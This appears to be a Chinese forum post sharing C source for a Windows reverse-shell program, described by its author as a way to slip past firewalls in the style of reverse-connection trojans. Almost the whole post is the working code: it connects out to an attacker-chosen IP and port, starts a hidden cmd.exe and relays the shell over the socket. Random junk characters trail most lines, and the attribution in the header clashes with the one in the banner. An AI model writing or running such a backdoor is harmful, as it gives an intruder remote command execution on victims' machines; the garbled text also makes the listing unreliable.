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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 { Sn J  
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/* ============================== FBJ Lkg0  
Rebound port in Windows NT Po82nKAh  
By wind,2006/7 .(2ui~ed  
===============================*/ $qj||zA  
#include Md,KW#  
#include *>p#/'_E  
# :3~I  
#pragma comment(lib,"wsock32.lib") Ie8jBf -  
fQOh%i9n5  
void OutputShell(); '; Z!(r  
SOCKET sClient; `@|Kx\y4=j  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ?AJE*=b  
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void main(int argc,char **argv) QAh6!<.;@  
{  6,;7iA]  
WSADATA stWsaData; DnW*q/=w  
int nRet; :0RfA%  
SOCKADDR_IN stSaiClient,stSaiServer; U49 `!~b7  
96 !e:TU  
if(argc != 3) q%A.)1<'_  
{ lGtTZ cg  
printf("Useage:\n\rRebound DestIP DestPort\n"); " )_-L8  
return; [boB4>.  
} ~!{y3thZ  
YE\s<$  
WSAStartup(MAKEWORD(2,2),&stWsaData); ^J Y]w^u  
ON<X1eU  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); uKocEWB=/F  
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stSaiClient.sin_family = AF_INET; Bys_8x}  
stSaiClient.sin_port = htons(0); @fxDe[J:  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY);  @Iy&Qo  
)~l`%+  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) @-QDp`QtI  
{ y6S:[Z{~A  
printf("Bind Socket Failed!\n"); OJF41Z  
return; S 2SJFp  
} Zl+Ba   
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stSaiServer.sin_family = AF_INET;  G(1y_t  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); |SF5'\d'  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ]DO"2r  
sAz]8(Fi0  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ]#VNZ#("  
{ "~&d= f0m  
printf("Connect Error!"); 52JtEt7E  
return; 9xm'0 '  
} L4L[@tMPmY  
OutputShell(); tX#8 G09G+  
} .[KXO0Ui6u  
{g(-C&  
void OutputShell() c={bunnz#  
{ u9}k^W)E  
char szBuff[1024]; UI>?"b6 L  
SECURITY_ATTRIBUTES stSecurityAttributes; Wa|lWIMK  
OSVERSIONINFO stOsversionInfo; y=)xo7 (  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; RIO4`,  
STARTUPINFO stStartupInfo; $M=W`E[g  
char *szShell; b\O%gg\p%!  
PROCESS_INFORMATION stProcessInformation; y`OL^D4  
unsigned long lBytesRead; $h( B2  
x)<Hr,wd  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); oG_-a(N  
S!;:7?mq  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); <x|P}  
stSecurityAttributes.lpSecurityDescriptor = 0; TE.O@:7Z  
stSecurityAttributes.bInheritHandle = TRUE; ,y5 7tY  
\)Bws `  
Mh+ym]6\(k  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 71# ipZ  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); _s_%}8o  
_V`Gmy[]p  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); b&V}&9'[M;  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; v iJK%^U=-  
stStartupInfo.wShowWindow = SW_HIDE; eaxp(VX?oy  
stStartupInfo.hStdInput = hReadPipe; :sY pZX1  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; uzx?U3.\  
~X`_ g/5X  
GetVersionEx(&stOsversionInfo); 2yyJ19Iul  
*)jhhw=34  
switch(stOsversionInfo.dwPlatformId) RnX:T)+o  
{ |9F^"7Q~C  
case 1: q)ns ui(  
szShell = "command.com"; Yc,qXK-  
break; MyyNYZ  
default: w)hH8jx{  
szShell = "cmd.exe"; !Cpy )D(  
break; X7*i -v@  
} \NEXtr`Th  
4[ 7) $  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); /8(\AuDT  
FKOTv2  
send(sClient,szMsg,77,0);  / >Z`?  
while(1) /2!Wy6 p  
{ mP@< UjxI  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); /7nircXj@  
if(lBytesRead) (Mk9##R#  
{ )e$}sw{t  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); LB1AjNJ  
send(sClient,szBuff,lBytesRead,0); c?;YufH'j  
} tf VK  
else P,|%7'?Y  
{ e-Xr^@M*Q  
lBytesRead=recv(sClient,szBuff,1024,0); t4RI%m\  
if(lBytesRead<=0) break; 9\_^"5l  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); zJH#J=O  
} UC!?.  
} 6z6\-45  
T=EHue$  
return; +ld]P}  
}
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